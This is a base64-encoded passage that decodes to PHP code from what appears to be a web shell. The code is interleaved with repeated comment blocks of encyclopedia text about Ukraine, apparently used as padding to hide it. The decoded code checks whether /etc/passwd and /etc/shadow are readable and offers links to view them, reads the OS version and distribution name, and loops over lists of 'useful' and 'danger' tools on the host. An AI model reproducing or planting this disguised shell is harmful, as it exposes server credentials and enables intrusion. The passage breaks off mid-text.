GluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCXNob3dTZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9ldGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKCQlzaG93U2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRhYmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCJldGNcIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iOidubycpOwoJCXNob3dTZWNQYXJhbSgnT1MgdmVyc2lvbicsIEBmaWxlX2dldF9jb250ZW50cygnL3Byb2MvdmVyc2lvbicpKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJc2hvd1NlY1BhcmFtKCdEaXN0ciBuYW1lJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2lzc3VlLm5ldCcpKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJaWYoISRHTE9CQUxTWydzYWZlX21vZGUnXSkgewoJCQllY2hvICc8YnI+JzsKCQkJJHRlbXA9YXJyYXkoKTsKCQkJZm9yZWFjaCAoJHVzZXJmdWwgYXMgJGl0ZW0pCgkJCQlpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQoJCQlzaG93U2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKCQkJJHRlbXA9YXJyYXkoKTsKCQkJZm9yZWFjaCAoJGRhbmdlciBhcyAkaXRlbSkKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCB